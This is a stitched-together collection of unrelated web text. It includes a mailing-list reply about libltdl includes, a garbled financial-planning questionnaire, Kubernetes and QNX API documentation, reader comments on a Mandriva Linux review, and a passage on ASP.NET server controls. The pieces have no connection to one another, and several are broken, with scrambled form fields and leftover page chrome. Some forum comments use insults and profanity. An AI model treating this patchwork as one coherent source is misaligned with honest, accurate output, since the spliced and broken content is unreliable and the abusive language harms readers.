* George Bosilca wrote on Wed, Nov 23, 2005 at 08:15:30AM CET:
>.
Hmm. Wasn't the decision a while ago to
#include <libltdl/ltdl.h>
consistently, plus, in order to allow the next version of libltdl to
work seamlessly as well, to also -I.../libltdl (although the Libtool
documentation suggests otherwise)?
I haven't followed changes regarding this closely, but above would be
safe for OpenMPI in both cases: both failure to include the in-tree
ltdl.h as well as failure with Libtool-2.0 will result in compilation
errors, and are thus easy to find and fix.
Cheers,
Ralf | http://www.open-mpi.org/community/lists/devel/2005/11/0545.php | CC-MAIN-2014-42 | refinedweb | 117 | 67.25 |
for connected embedded systems
SyncDestroy(), SyncDestroy_r()
Destroy a synchronization object
Synopsis:
#include <sys/neutrino.h> int SyncDestroy( sync_t* sync ); int SyncDestroy_r ( sync_t* sync );
Arguments:
- sync
- The synchronization object that you want to destroy.
Library:
libc
Use the -l c option to qcc to link against this library. This library is usually included automatically.
Description:.
Blocking states
These calls don't block.
Returns:
The only difference between these functions is the way they indicate errors:
- SyncDestroy()
- If an error occurs, the function returns -1 and sets errno. Any other value returned indicates success.
- SyncDestroy_r()
- Returns EOK on success. This function does NOT set errno. If an error occurs, the function can return any value listed in the Errors section.
Errors:
- EBUSY
- The synchronization object is locked by a thread.
- EFAULT
- A fault occurred when the kernel tried to access sync.
- EINVAL
- The synchronization ID specified in sync doesn't exist.
Classification:
See also:
pthread_cond_destroy(), pthread_mutex_destroy(), pthread_rwlock_destroy(), sem_destroy(), SyncTypeCreate() | http://www.qnx.com/developers/docs/6.4.0/neutrino/lib_ref/s/syncdestroy.html | crawl-003 | refinedweb | 157 | 51.95 |
0
Hi, Im trying to write a program of a salary from a textbook problem, but am having a hard time. Hopefully you can get the gist of the program, I want it to keep asking for items of what the "salesperson" has sold, until an invalid item is entered, where it breaks and does the calculations of $200 + %9 of sales. The loop stops after 1 input, and you have to enter the items value rather than just item1 in the input. I would like to know how to fix this. Thanks!
package rand; import java.util.Scanner; public class rand19 { public static void main(String[] args) { Scanner input = new Scanner (System.in); while (true) { double item1 = 239.99; double item2 = 129.75; double item3 = 99.95; double item4 = 350.89; double pay = 0.0; System.out.printf("Enter an item value for the salesperson: "); double salesperson = input.nextDouble(); if (salesperson == item1) { pay = pay + item1; } else if (salesperson == item2) { pay = pay + item2; } else if (salesperson == item3) { pay = pay + item3; } else if (salesperson == item4) { pay = pay + item4; } else { break; } double basepay = 200; double basepaypercent = 9 % pay; double finalpay = 200 + basepaypercent; System.out.printf("Salespersons earnings: " + finalpay + "\n"); System.out.println("--------------------------------------"); } } } | https://www.daniweb.com/programming/software-development/threads/183139/salary-program-help | CC-MAIN-2017-39 | refinedweb | 200 | 66.74 |
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(To be filled in by FPSB India)
Financial Planning
Questionnaire
Candidate’s Name FPSBI No. Candidate’s Signatures _____________________________ _____________________________ _____________________________
Mode of Registration
Education Provider
Name of the Education Provider
__________________________
Self Study
Please send the completed form to:
Financial Planning Standards Board India (FPSB India) 702, 7th Floor, Leela Business Park Andheri Kurla Road, Andheri East Mumbai - 400059
Financial Planning Standards Board India
Issue 01/24.10.2011 Rev 00/24.10.2011
2011 . 7.2011 Rev 00/24.5 Lakh Between Rs. 15 lakh Above Rs. Income Details Below Rs. 20 Lakh V. 5 Lakh Between Rs. 10 Lakh and Rs. Dependent Details Number of Dependents 1 Profile of Dependents Relationship Father Mother Spouse Age Relationship Child-1 Child-2 / Brother Child-3 / Sister Age 2 3 4 5 6 IV. 7.5 Lakh and Rs. 15 Lakh and Rs.10. 10 Lakh Between Rs.I. Household’s Information Name Birth Date Male Female Marital Status Single Married City State Gender II. 5 Lakh and Rs. Employment Details Private Sector Others Self Employed Please specify ____________________ Government Sector Homemaker Total Earning Years Spouse’s Employment Status: Yes No III.10. 20 lakh Between Rs. Assets Owned Additional House Two-wheeler Land Car Self-occupied House Business Premises Financial Planning Standards Board India 2 Issue 01/24.
of Years) Month-Year of availing Loan EMI* (Rupees) Other Liablities Marriage(Self/Dependents) Hospitalization/Medical Any Other (please specify) __________ ________________________________ Financial Planning Standards Board India 3 Issue 01/24. Insurance Policies Held (Non-Life Insurance) Vehicle Insurance Business Insurance Disability Insurance Household’s Policy Professional Indemnity Critical illness Insurance Health Insurance Accident cover IX. Insurance Policies Held (Life Insurance) Endowment Policy Child Plan Unit Linked Insurance (ULIP) Term Plan Unit Linked Pension VIII.10.VI. Type of Financial Assets Owned Fixed Deposits Bonds Mutual Funds Stocks/Shares Pension Fund PPF Provident Fund Others (Please specify) ______ VII. Liabilities Category Loans Housing Loan Vehicle Loan Education Loan/ Personal Loan Credit Cards/Other Loans * EMI: Equated Monthly Installments (Amount in Rupees) Amount Already Total Estimated cost Accumulated Loan amount (Rupees) Tenure of Loan (No.2011 Rev 00/24.2011 .10.
10.000 Rs. 50. 1 Lakh Rs.2011 .5 Lakh Rs. 5 Lakh Above Rs. Financial Assets accumulated Please tick in the appropriate box in the related category.10.(tick appropriate box) SIP # or Fixed Lump sum amount investment Investment Portfolio Mutual Funds Fixed/Recurring deposit Provident Fund account Pension Fund account PPF account Stocks & Equity shares Any Other (please specify) ______________________ Expenses Household Expenses Entertainment Expenses House Rent Insurance Premium (Life) Insurance Premium (Non-Life) Any Other (please specify) _______________________ # Systematic Investment Plan Financial Planning Standards Board India Please state Monthly expenses Please state .X.2011 Rev 00/24. 1 Lakh Rs. 50000 Rs. Category Investment Portfolio Mutual Funds FD/RD/ Bonds Provident Fund account Public Provident Fund (PPF account) Pension Fund account Stocks & Equity shares Gold/Precious Metals/ Jewellery Any Other (please specify) _____________________ Please indicate level of Investment accumulated till date Below Rs. 2. 5 Lakh XI.monthly or infrequent Please state Monthly outgo Please state total annual premium paid Please state total annual premium paid 4 Issue 01/24.Rs.5 Lakh . Regular Investments & Expenses Please indicate your regular flow of investments out of your monthly income and expenses under major heads as follows: Category Amount committed (Rupees) Nature of Transaction State whether …. 2.
I consult the following when taking my financial decisions I take financial decisions entirely on my own I consult my family I consult friends/relatives I consult a staff of my Bank.10.XII. usually in Wealth Management or Financial Planning team I consult my Insurance agent Others (Please specify) ________________________________________________ Financial Planning Standards Board India 5 Issue 01/24.10. Following are My Major Financial Objectives (Please indicate priority from1-5.2011 .2011 Rev 00/24. 1 being lowest and 5 being highest) <<Low Ensure a comfortable Retirement Provide for child’s/children’s Education costs Buy a House Provide for child/ren’s Marriage Buy a Car Achieve growth in investments Protect income in the event of death/disability Reduce Housing/Other Loans Reduce Credit Card liability and other Personal Expenses Ensure Assets are passed on smoothly to dependents Reduce Income-tax Protect Income/Assets from Inflation 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2 3 3 3 3 3 3 3 3 3 3 3 3 4 4 4 4 4 4 4 4 4 4 4 4 High>> 5 5 5 5 5 5 5 5 5 5 5 5 XIII.
etc I like to invest in instruments which _____________.35% c) Between 35% . My savings generally are used to _______________. Cell phone. Please choose the options that best describes your position: 1.2011 Rev 00/24.2011 . furniture or electronic items. 6. d) buy durable items like TV. 5.50% d) Over 50% How do you save from your regular income? a) Save as per planned schedule b) Save something every month c) Save whatever is left after meeting expenses d) Do not save regularly as expenses generally exceed income How do you spend? a) I have a definite spending pattern for regular monthly expenses b) I carefully plan my big purchases in advance c) I do not spend in a planned manner My mode of spending is: a) Always in cash b) Cash as well as credit card c) Mostly on credit card My Income-Expenses experience in the recent past is: a) Expenses well within Income b) Expenses nearly equal to Income c) Expenses exceed Income For big asset purchases like house. a) save the money in advance b) rely on loan \ 2. LCD. 7. Furniture. a) offer fixed guaranteed return b) offer slightly higher returns and largely protect capital c) offer substantially higher returns while there is risk of capital erosion 9.XIV. my tendency is: a) I shall try to save most of the money before buying b) I shall rely on credit or loans to buy For purchsing white goods.10. What percentage of your monthly salary do you save? a) Less than 20% b) Between 20% . a) make planned investments in Mutual Funds b) buy fixed deposit schemes c) buy gold and ornaments. Refrigerator. 3. Financial Planning Standards Board India 6 Issue 01/24. car. 4. I shall _______.10. 8.
50% e) Over 50% 11. You would _____.5 Lakh and set aside the remaining Rs.000 won already b) Possibility of winning extra Rs. 7. hospitalization.10.000 by taking risk of Rs. 1 Lakh won already 14.000 each in two stocks A and B. etc. etc. 5 Lakh for Holiday/Vacation or buying/upgrading my Car d) I shall invest Rs. which of the following stages would you pay? a) Possibility of winning extra Rs. 1 Lakh by taking risk of Rs. 35.: a) Upto one month’s salary/income in Bank account b) Upto three months’ salary/income in Bank account c) Bank Fixed Deposit from 3 . 75. a) sell stock A and book profit b) sell stock B and cut your loss c) sell both stocks d) do nothing e) buy more of Stock A f) buy more of Stock B 15. What percentage of your monthly salary is used to repay loans? a) Nil b) Less than 20% c) Between 20% .2011 .5 Lakh for buying Gadgets/Car/Jewellery and spending on Holidays and other entertainment e) I shall spend a major amount in reducing my outstanding loans f) I shall invest the whole amount in appreciating assets like land/propoerty/precious metals Financial Planning Standards Board India 7 Issue 01/24.10. 5 Lakh for non-regular expenditure such as house renavation/repairs.: upto 3-6 months’ salary/income e) I have not created an emergency fund 13. 2 Lakh by taking risk of Rs. Suppose you are participating in a contest where you have reached a stage assuring cash prize of Rs. 2. etc. 2. 1 Lakh won already d) I will not play next stage and take home Rs. 50. Suppose you have got Rs. 1 Lakh. Which of the following would best represent your utilization of the same? a) I shall invest Rs.6 months’ salary/income d) Other avenues like Mutual Fund schemes. 60.10.000. 7. Who can you depend on if you face a financial emergency? a) Spouse b) Parents c) Relatives and Friends d) I have created an emergency fund 12. You have invested Rs.000 but B has declined to Rs.5 Lakh and spend the remaining Rs. 50.5 Lakh b) I shall invest Rs. c) I shall invest Rs.2011 Rev 00/24.000 won already c) Possibility of winning extra Rs. 50. What of the following have you provided towards Emergency Fund to meet exigencies like loss of job.35% d) Between 35% . 10 Lakh in Bonus or other benefits. 5 Lakh and set aside the remaining Rs. 5 Lakh and set aside the remaining Rs. After 1 month you observe that A has gone up to Rs.
I have taken a health cover (medical insurance) for myself/family in order to____________.10. my objective is to ____________.16.2011 Rev 00/24. 20. b) Householder policy to cover burglary/ loss due to fire of my gadgets. a) saving my income tax b) investing for long. theft. third party liability. calamity. etc. as it is mandatory b) Comprehensive to cover accident. Upto what age would you like to work? a) Upto 45 b) Upto 50 c) Upto 55 d) Upto 60 e) Upto 65 Financial Planning Standards Board India 8 Issue 01/24. I have taken the following additional insurance for my assets (tick as many applicable): a) House insurance to cover cost of rebuilding my house in case of fire. I take Life Insurance policies primarily towards __________. antiques and valuables including jewellery d) Shopkeeper’s policy e) Mortgage insurance 22. I have considered the following while fixing the amount of cover on my Life Insurance policies: a) They should cover my family’s future expenses till my spouse survives b) They should cover all my future earning years’ income c) They should cover my goal-based financial liabilities (education/marriage of children) d) They should at least cover all my oustanding loans e) They should cover my family’s future expenses. etc.10. etc. a) get at least the premium amount back if I survive the Plan period b) get some return on the premium if I survive the Plan period c) get market linked return on the amount of premium and some life cover or pension d) cover pure risk without any consideration of return (even of premium paid) 18. a) claim deduction from taxable income b) offset need for liquidating my financial assets in case of hospitalization c) I have no health insurance policy 21. c) Cover against burglary/loss of art. While taking Life Insurance policy.2011 . goals and oustanding loans f) I have not considered the above parameters while taking life insurance g) I have gone by return aspiration on my policies rather than the amount of risk coverage 19. furniture.term goals while covering risk of life c) investing for my child’s education d) investing for my retirement e) covering risk of life f) I do not have any life insurance policy 17. I have taken the following insurance of my vehicle: a) Third party only.
10. What amount of pension would you need after retirement? a) Equal to my current salary adjusted for price rise (inflation) b) Equal to 50% of my current salary adjusted for price rise (inflation) c) Equal to my current household expenses adjusted for price rise (inflation) d) Equal to 80% of my current household expenses adjusted for price rise (inflation) 24. Do you fully utilize Income Tax benefits.g. Where would you invest your retirement corpus accumulated? a) In Post Office Monthly Income Scheme and Senior Citizens Savings Scheme b) In Bank Fixed Deposits c) In a suitable Asset Allocation including partly in Equities to generate at least inflation beating returns 27.2011 . Which of the following would you depend on for your retirement corpus? a) Provident Fund and /or Pension as due from my organization b) Additional Pension Plans apart from Provident Fund/Pension due from my organization c) Sale of my assets like gold.? a) Yes b) No 29. additional house to fund any shortfall in my retirement corpus d) Rent received from additional house and regular income from investments to cover shortfall. if any. rebates. plan investments availing maximum tax benefits b) Plan tax saving towards the end of the Financial Year c) Do not actively plan and meet most of my tax liability from the last few months’ salary d) Take the help of an expert like Chartered Accountant (CA) 28. Which of the following have you considered while estimating your retirement corpus? a) My present expenses adjusted for price rise (inflation) for 15 years after I retire b) My present expenses adjusted for price rise (inflation) for 20 years after I retire c) 80% of my present expenses adjusted for price rise (inflation) till my/my spouse’s expected life plus some medical emergency fund d) Inflation-adjusted income equal to 80% of my present expenses when invested in moderate risk instruments till my/my spouse’s expected life plus medical fund e) I have yet not estimated the required retirement corpus 25. which of the following parameters you focus on? a) Gross returns b) After tax returns c) After tax returns minus inflation for the period Financial Planning Standards Board India 9 Issue 01/24. deductions from salary/income. etc.23. in my expenses post-retirement e) Reverse Mortgage of my self-occupied house to fund my post-retirement expenses f) My children to fund my post-retirement expenses g) I would curtail my expenses as far as possible to spend my life post-retirement with whatever funds accumulated 26.2011 Rev 00/24. e. When making various investments.10. How do you approach Tax Planning during the year? a) Estimate all income during the year.
Your Financial Planning Score Please provide your email id: _____________________________ My postal address is: ___________________________________ ___________________________________ FPSB India would intend to send you a score of your financial position and strength based on the above responses.30. etc. are added to my total income and taxed accordingly b) Dividends on my equity shares are tax free in my hand c) Income in the form of dividends received from Mutual Fund units is tax free in my hand d) Short term Capital Gains on income funds. Would you like to seek professional help of a CERTIFIED FINANCIAL Yes No PLANNERCM or CFPCM practitioner to streamline your finances through a structured Financial Plan for your family? XVI. I have availed of the nomination facility in respect of the following (please select as many as applicable in your case): a) My bank accounts including Fixed Deposits b) My Demat account c) My mutual fund schemes and other investments like Post Office schemes. I have the following in Joint names (please select as many as applicable in your case): a) My bank accounts including Fixed Deposits b) My Demat account c) My mutual fund schemes and other investments like Post Office schemes. XV. Which of the following vital information is in the knowledge of your spouse/family members?(please select as many as applicable in your case) a) Fixed and financial assets you have b) All loans accounts and other debts c) All life insurance.2011 . I am aware of the following (please select as many as applicable in your case): a) Interest on my Savings Bank A/c. bonds. you have a fair idea of how a Financial Planner structures your finances in alignment with your financial goals.2011 Rev 00/24. d) My residential property and other real estate investments 32. d) My residential property (Society) and other real estate investments e) My life insurance policies f) My PPF account 33.10. Have you prepared a Will? a) Yes b) No 34.10. health insurance and other policies you have taken d) All your important documents including Will After going through the above. and Fixed Deposit A/c. Gold ETFs (less than a year from investment) are are added to my total income and taxed accordingly e) Short term Capital Gains on equity and equity mutual fund schemes are payable at a lower rate of 15% 31. etc. How would you like to receive the same? Through email Through post Financial Planning Standards Board India 10 Issue 01/24.
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import "github.com/igm/kubernetes/pkg/client/record"
Package record has all client logic for recording and reporting events.
Event constructs an event from the given information and puts it in the queue for sending. 'object' is the object this event is about. Event will make a reference-- or you may also pass a reference to the object directly. 'status' is the new status of the object. 'reason' is the reason it now has this status. Both 'status' and 'reason' should be short and unique; they will be used to automate handling of events, so imagine people writing switch statements to handle them. You want to make that easy. 'message' is intended to be human readable.
The resulting event will be created in the same namespace as the reference object.
Eventf is just like Event, but with Sprintf for the message field.
GetEvents lets you see *local* events. Convenience function for testing. The return value can be ignored or used to stop logging, if desired.
StartLogging just logs local events, using the given logging function. The return value can be ignored or used to stop logging, if desired.
func StartRecording(recorder EventRecorder, sourceName string) watch.Interface
StartRecording starts sending events to recorder. Call once while initializing your binary. Subsequent calls will be ignored. The return value can be ignored or used to stop recording, if desired.
EventRecorder knows how to store events (client.Client implements it.) EventRecorder must respect the namespace that will be embedded in 'event'. It is assumed that EventRecorder will return the same sorts of errors as pkg/client's REST client.
Package record imports 9 packages (graph). Updated 2018-04-17. Refresh now. Tools for package owners. | https://godoc.org/github.com/igm/kubernetes/pkg/client/record | CC-MAIN-2019-51 | refinedweb | 281 | 69.89 |
Shortly after announcing the merger of Mandrakesoft and Conectiva into Mandriva, the newly combined company released a transitional “limited edition” GNU/Linux distribution to bridge the gap between the two parent distributions. Mandriva Limited Edition 2005 may look a little different, but it’s the same great Mandrakelinux desktop distribution that you’re used to.
Review: Mandriva Limited Edition 2005
2005-04-27 Mandriva, Mandrake, Lycoris 34 Comments
Mandrake has always had good releases. They are the best when it comes to a balance between user friendliness and allowing the user conrol over the system. I wish them good luck in their new venture.
P-J go troll elsewhere. You just display your total ignorance and immature behaviour here.
Linux is as open as it can get and therefore is not obfuscated as you seem to troll here.
Which DE is shitty- KDE as well as GNOME are light years ahead of what Windows offers. Go bang your head on the wall if you have no other job to do but troll around.
Complex?
My 11 years old daughter uses it every day, and believe me she is not a 130 IQ!!
fonts have been a mess on Linux but the situation has improved drastically in the last 1-2 years…but when I looked at the lone screenshot on the review, the fonts look a bit blurred again… did anyone else notice that? or is just me with blurred eyes
“fonts have been a mess on Linux”
EDIT: fonts have been a mess on DESKTOP Linux
i’ve been using mandrake for a long time – from version 6.x i think.
anyway, i am considering changing because of the following issues:
* i never feel safe with the package managers – be they ports, urpmi, rpm, swaret, … whatever. the only one i haven;t use din anger is apt.
* i don’t use kde/gnome and feel that modern desktop distros are including libraries, linking, added functionality to apps which i don’t use (eg compile with gnome)
* for critical apps i always compile and install in an isolated namespace – i don’t know what has gone into the distros packages – not do i like the way they pollute the fielsystem, nor do i trust package upgrades.
* i am eternally frustrated by the gui “sysadmin” tools doing magic behind my back. on graphical gui systems i never feel 100% certain that a config file-edit won’t lead to an inconsistency or to be overwritten by the period or gui tools.
* i don’t like the distros making too many decisions on my behalf. its a pain to undo. thsi applies to the desktop apps as well as to lower level things like sound services.
so, why don’t i just roll my own? why bother with a distro?
indeed you would be right to suggest that i don’t bother with a distro and use something like LFS. (gentoo by the way is terrible, totally inconsistent, and the multitude of USE variables in not managable at all defeating their purpose – i remember when there were about 10 of them).
but i need hardware detection</>. that’s the catch. sure i like to manage my own software but hardware configuration is a pain.
on a higher level – the ideal would reason thus: “i have bought hardware X” – hence it is reasonable to assume the the OS is not being too patronising by configuring for hardware Y.
so the ideal linux/bsd OS for me is:
* provides a minimal base – which is easy to support by the ocmmunity (kernel, toolchain) – and which is flexible enough to build what you want on top of it
* doesn’t intrude on my software decisions
* but the OS does make hardware detection and configuration easy. (perhaps a tool which identifies hardware, but only configures it when i want it to, not “detected new hardware, will oveerwrite your fstab …”)
so mandrake, ubuntu, fedora, .. they don’t match this list of wishes.
Try investigating ivman. It works on top of hal/dbus to automatically mount your media (hard-drives, cd/dvd drives, usb media etc) without interfering with things like your fstab file.
It shouldn’t be difficult to set up on Mandriva (was a doddle on Gentoo).
ivman homepage:
the same function is handled by gnome-volume-manager, which is a standard part of gnome 2.8+
Hey tech_user
Try Arch or CRUX
They seem to be just what you are looking for
When will be Mandriva available for download to the general public?
the thing is that ivman is independent of any desktop setup you have, or can even be used while your not running any desktop…
the LE realease is available to the general public. hunt around for an install set labelled 10.2rc2 in the devel section of yur favorite mirror. its really the finall 2005 LE edition.…
My first experience with MLE2005 is almost non-existant. I d/l the whole x86_64 version tree to my hdd, burned the mini-iso and used the hdd as the installation source. The installation still hangs (all 10.x versions due the same in my case) due my pci wireless card (desktop pc, but hangs too because my laptop pcmcia wireless card). This is why in the first place I d/l the whole tree to my hdd. This is a known issue for me, so I just press F1, and use “linux noapic” instead.
Using the mini-CD requires you to choose your installation source. If my USB FDD is connected (laptop/desktop) then when I choose HDD as the source I just get “No partitions found”. There are two workarounds,
1. unplug the USB FDD
2. choose CDROM as source, you will get an error saying no packages found, then you choose using HDD as source et voila, now auto-magically installer sees the partitions. (don’t ask me why)
After this, just a regular/normal/working MLE2005 installation. After reboot, nice lilo screen and everything hangs! Damn, no problem, used to this. Reboot, choose Failsafe and hangs again!! But now I get to see the error:
error 6 mounting ext3 / error 6 mounting reiserfs / error 6 mounting <put your filesystem of preference here>
All modules are being loaded (i see the ext3.ko, reiser.ko being loaded before), it is a fresh new installation, dual-boot with XP Pro, I have done it thousand times before (not in this machine though). And that is it. Magic is gone, I haven’t found a workaround for this.
My mobo (MSI-RS480) contains a SATA controller, but my main hdd is a PATA Maxtor 200GB , so I disabled the SATA controller because I read sometimes kernel may enumerate first SATA controller and then PATA controllers. No luck.
I’ve switched to the available bash shell during the last stage of installation (after everything is setup and just waiting for the reboot), reviewed and edited the lilo.conf/fstab files, used chroot to work with the proper partition which during installation is and works as hda7. No luck.
Grub didn’t solve the problem either, so it seems to be a problem with partition mounting.
No ideas so far (Linux is in the last 20GB of my 200GB hdd, could it be?).
So for now my review would be:
-Installation still needs workaround for wireless cards
-Installation from HDD is functional but not perfect – detection of partitions is buggy (a USB FDD screws it up)
-Installation procedure after that is nice as always, autodetection of hardware works nicely (from what I can gather in the installation summary screen ).
-Not so nice lilo/bootsplash (looks like Linux(or Tux) goes Disneyland)
-and that’s it … oh well, nice kernel errors?
Please note that this is just my experience on my specific hw configuration, your mileage may vary!
Personally, I would just download and install PCLinuxOS which I did and it’s the best distro I’ve tried. A forked Mandrake distro that uses apt.
EXCELLENT DESCRIPTION!
I would prescribe a large dose of libranet, if that has too many side effects then go pure debian or maybe a ‘lite’ ‘debian based’ distro
if you still are still feeling a bit too managed then just jump into slackware or gentoo
that’ll be 100bucks sir
It sounds to me like the ideal distro you just described is Archlinux. It’s base is practically a clean LFS but with package management tools. It has a hardware detection tool, but all it really does it detect the hardware but does not install it – it generates a report with instructions on how YOU can install it. I haven’t used Archlinux in a while (ok, I admit it, I’m a distribution whore), but it sounds like something you might like. I suggest you check it out.
or alternatively, what you try instead of distro x y or z (they all tend to suck, just some less than others), is to use one them with a decent installer, say fedora with it’s rather nice anaconda for instance, but only do the minimal install. Then on top to that, manually build from source whatever the heck you want. You could even use something like one of those rpmbuilders that write the spec, forget their names right now, and roll out an rpm from source if you wanted to maintain the advantages of using rpms for instance (queryable database, easy uninstall, etc). That way, you get the nicety of having your hardware and all that configured for you, but can choose the rest of the direction you want your distro to go. Just because a distro offers everything out of the box so to speak, doesn’t mean you have to use it.
I just upgraded from MDK 10.1 to LE2005 and it looks much nicer graphically, but didn’t autodetect my Dell monitor (a first in years for MDK!), and the default Firefox freezes when DLing PDFs (I hafta save->then open). However my biggest gripe is how slow it’s gotten. My old MDK 10.1 took 21 seconds to boot, this takes 60 seconds with portmap taking 25 of those 60. Since I use this as a desktop, boot time (and the not-so-quick KDE login time following it) are an issue with me, since I’m now booting into/logging into/shutting down XP more and more to simply get info I need quicker than I can simply boot MDK (much less log into, then shutdown). Sadly, I was really hoping LE2005 would offer speed improvements that would be incentive to keep using MDK over XP, but it’s only gotten much slower.
I would complain to MDK but the last many bugs I submitted were either ignored in their entirety or closed incorrectly.
I keep MDK around for development work, but with OpenOffice and FireFox available on XP, I’m using it more than MDK for day-to-day (i.e., desktop) stuff.
(NOTE: YES I’ve turned off superfluous services, no it’s not special HW, yes I want to use KDE, etc, etc, etc)
If you don’t run an NFS server, just turn portmap service off, you don’t need it. If you don’t change your hardware often also turn off the harddrake service, that’ll save some time too. Yeah, boot time is not one of the greatest things about 2005.
Some other comments – 2005 is indeed already downloadable by the public, but RC2 is *not* the same thing as the final release. There were a lot of changes made and bugs fixed from RC2 to final. If you’re not a Club member but you want to try it out, there’s no ISOs available yet (they will be available around the middle of next month), but you can do a network install. Download boot.iso from an FTP mirror (in /Mandriva/official/2005/i586/install/images), write it to a CD, boot from it, and tell it you want to do a network install. You may also want to write down the server and name and IP address of your favourite mirror – the network installer does have a system whereby it gets a mirror list and asks you to select from the list, but I think this may not work properly since the name change, so best to be prepared. This will work fine so long as you can get an internet connection directly through a wired LAN socket (the network installer doesn’t support wireless yet, unfortunately).
I don’t think we changed anything significant with rendering Roman fonts between 10.1 and 2005. CJK fonts were changed a little (they’re now anti-aliased less aggressively which makes Chinese / kanji a whole lot easier to see), but nothing for Roman characters.
Mandrake rocks!
That’s all I have to say. Powerfu, easy, stable.
You know, the -iva in Conectiva is really [Iv@], which is more or less -eeva or -iva (short i) in english.
Mandrake rocks! – Oh yeah!
I have been a Mandrake user for about three years now from Mandrake 8.2. I was ecstatic when I brought a HP750 all in one printer and 8.2 recognised it just like that then automatically instaled the driver. It was a great change after all the problems I had had with printers in Red Hat 6 I thought in the future Mandrake Linux would plug and play as easily as Windows.
When I upgraded to 9.1 it seemed a cumulative improvement and urpmi worked excellently. Recently I upgraded to 10.1 it worked but there wre problems, urpmi seemed basically broken with a descent in dependancy hell for the installation of many programs.
The system seemed to have an excessive use use of cpu for video applications. Realplayer 10 which worked perfectly in 9.1 was broken and even though Totem/Xine worked well for most files, some would drop sound and this could be only corrected by reniceing X down then sound would reappear together with a lot of dropped frames.
Finally it would not mount my usb flashdrive after some investigation I came to the conclusion it was a kernel problem so I upgraded from 2.6.8.1-12mdk to 2.6.11.6 using the kernel-2.6.11.6mdk-1-1mdk.i686.rpm. Yeah ! it mounts my usb flashdrive, and yeah! the video problems are gone!. But, but, but my usb printer no longer works the kernel can’t even find it and hangs on trying to autodetect it. Now I will probably try and roll my own kernel again, I’ve done in Red Hat years back and maybe it will work and then maybe it won’t.
I reckon I’m going to install Ubuntu.
I just installed LE2005 and it is excellent as 10.1 was. I have never understood why some call it a newbie distro or find it unstable. It has always been rock solid for me. Plus it has a very well thought out selection of installed programs and urpmi is as good as apt.
I have experimented with other distros like Ubuntu, Xandros, Mepis and gone back to Mandriva. Hope the merger with Connectiva turns out to be a good decision.
I’ve seen that KDE 3.4 and Gnome 2.10 are now available in the Mandriva Cooker (previously, only Thac’s KDE 3.4 binaries were available): is it reasonably safe to install them on top of the LE2005 distribution, or will everything break catastrophically? Has anyone tried this…?
In general, how much “unstable” is the Cooker distribution? At the minor annoyances level or at the almost unusable level…?
Anyway, also for me Mandrake was the first distro I tried, some years ago: I really hope it will become bettere and better, in the next years…
I just installed LE2005 and it is excellent as 10.1 was. I have never understood why some call it a newbie distro or find it unstable.
Yes, I found 10.1 to be rock solid, and clearly one of the most polished distros out there.
“Yes, I found 10.1 to be rock solid, and clearly one of the most polished distros out there.”
Hands up how many people out there have got an unpartitioned USB flash drive to mount on an out of the box 10.1 installation with the default kernel?
There are issues with the 2.6.8 series kernels. Fair enough this is a problem with the kernel but it is a Mandrake problem for releasing a point distribution on a kernel with unresolved issues.
but I am too tempted by LE2005. I am gonna try an experiment. I will update the sources and try urpmi from 10.1 to le2005.
dunno what I will break, if anything.
I will let yous know how it goes…. even if I have to boot mepis to get a net connection afterwards hahaha
most of the time it’s minor annoyances; utterly unusable happens maybe once in a few months and it’s avoidable if you read the mailing list and avoid the bad package (for e.g. there was a duff upgrade of udev yesterday which stops it being able to start up, fix is to copy a couple of files from an older version of udev and fix was posted to cooker list a few hours after the package was updated). I’ve run Cooker as my only OS for three years or so now, it’s entirely do-able you just have to be careful.
KDE 3.4 should install OK over 2005 (but of course it’s not supported) as it was about the first thing to go in after the unfreeze. GNOME should be alright too. There will be a set of 2005 KDE 3.4 packages released for Club members before 2006 comes out.
Er, it’s easy. mount /dev/sda /mnt/removable. It doesn’t *auto*mount, yes (annoying bug, fixed in 2005) but it’s easy enough to mount. Everyone who ran Linux had to do this by hand not so long ago, come on…
(oh, and the bug wasn’t in the kernel but in hal).
not nice
the upgrade seemed to go ok, but when I rebooted X would not start, and there is no prompt either !
I have not messed around with any config files yet, that is a job for later on tonight. I just wanted to see how easy it would be for newbies to upgrade using urpmi.
it is probably something really silly, but not getting into X is not good.
wtf ?
are you all retarded or what ?
I posted the results of the previous experiment and some fucktard hit the report abuse link on it ?
that is true zealotry if I ever saw it, no wonder it is hard enough getting people to switch from windows if there is some muppets in linuxland who cannot stand anything bad being said about their OS.
If I had you here I would slap you sensible
<<Hands up how many people out there have got an unpartitioned USB flash drive to mount on an out of the box 10.1 installation with the default kernel? >>
I have an unpartitioned Kingston USB 2.0 drive which I had no trouble mounting under 10.1 except that I had to do so manually. In LE2005 it is mounted automatically.
The one problem I have observed with LE2005 is with sound under xine. I can play streaming quicktime videos with embedded mplayer in Firefox fine but when I try to play them using Kaffeine in Konqueror I do not get any sound while the video is displayed ok. Updating with libxine from plf has not helped.
“Er, it’s easy. mount /dev/sda /mnt/removable. It doesn’t *auto*mount, yes (annoying bug, fixed in 2005) but it’s easy enough to mount. Everyone who ran Linux had to do this by hand not so long ago, come on… “
Er. you dont’t think I didn’t try that – it just didn’t work. I have been using Unices since before Linux was written and I know how to mount a drive. It would not mount manually full stop. There were various on-line threads where people were given this advice for flash drives that worked in 9.x and which no longer worked in 10.1, then they came back to report this didn’t work. In my case data transfer light was stuck hard on: tail /var/log/messages and dmesg reported correctly identifying the device but timeout on attempting to mount it.
The problem went away when I upgraded the kernel. Explain therefore how the the problem was in Hal rather than with the kernel. Interesting that the video problems went away with the same upgrade eh!
PS don’t be so damned patronizing Adam.
well, sorry, but you implied it was a universal problem (which it clearly isn’t, there are piles of unpartitioned devices which mount cleanly manually) and I therefore concluded you were referring to the hal-can’t-automount-unpartitioned-devices bug, which _is_ universal on 10.1. so quit it. | https://www.osnews.com/story/10430/review-mandriva-limited-edition-2005/ | CC-MAIN-2022-27 | refinedweb | 3,554 | 71.14 |
The third type of control is the ASP control , also known as the ASP server control or the web server control . In this book, we will refer to it as an ASP control, since the syntax used to implement it is of the form:
<asp:controlType
Here, the control tag always begins with
asp:. ASP
controls offer a more consistent programming model than the analogous
HTML server control. For example, in HTML, the input tag
(
<input>) is used for buttons, single-line
text fields, checkboxes, hidden fields, and passwords. For multiline
text fields, you must use the
<textarea>
tag. With ASP controls, each different type of functionality
corresponds to a specific control. For example, all text is entered
using the TextBox control; the number of lines is specified using a
property. In fact, for ASP controls in general, all the attributes
correspond to properties of the control.
The ASP controls also include additional, rich controls, such as the Calendar and AdRotator.
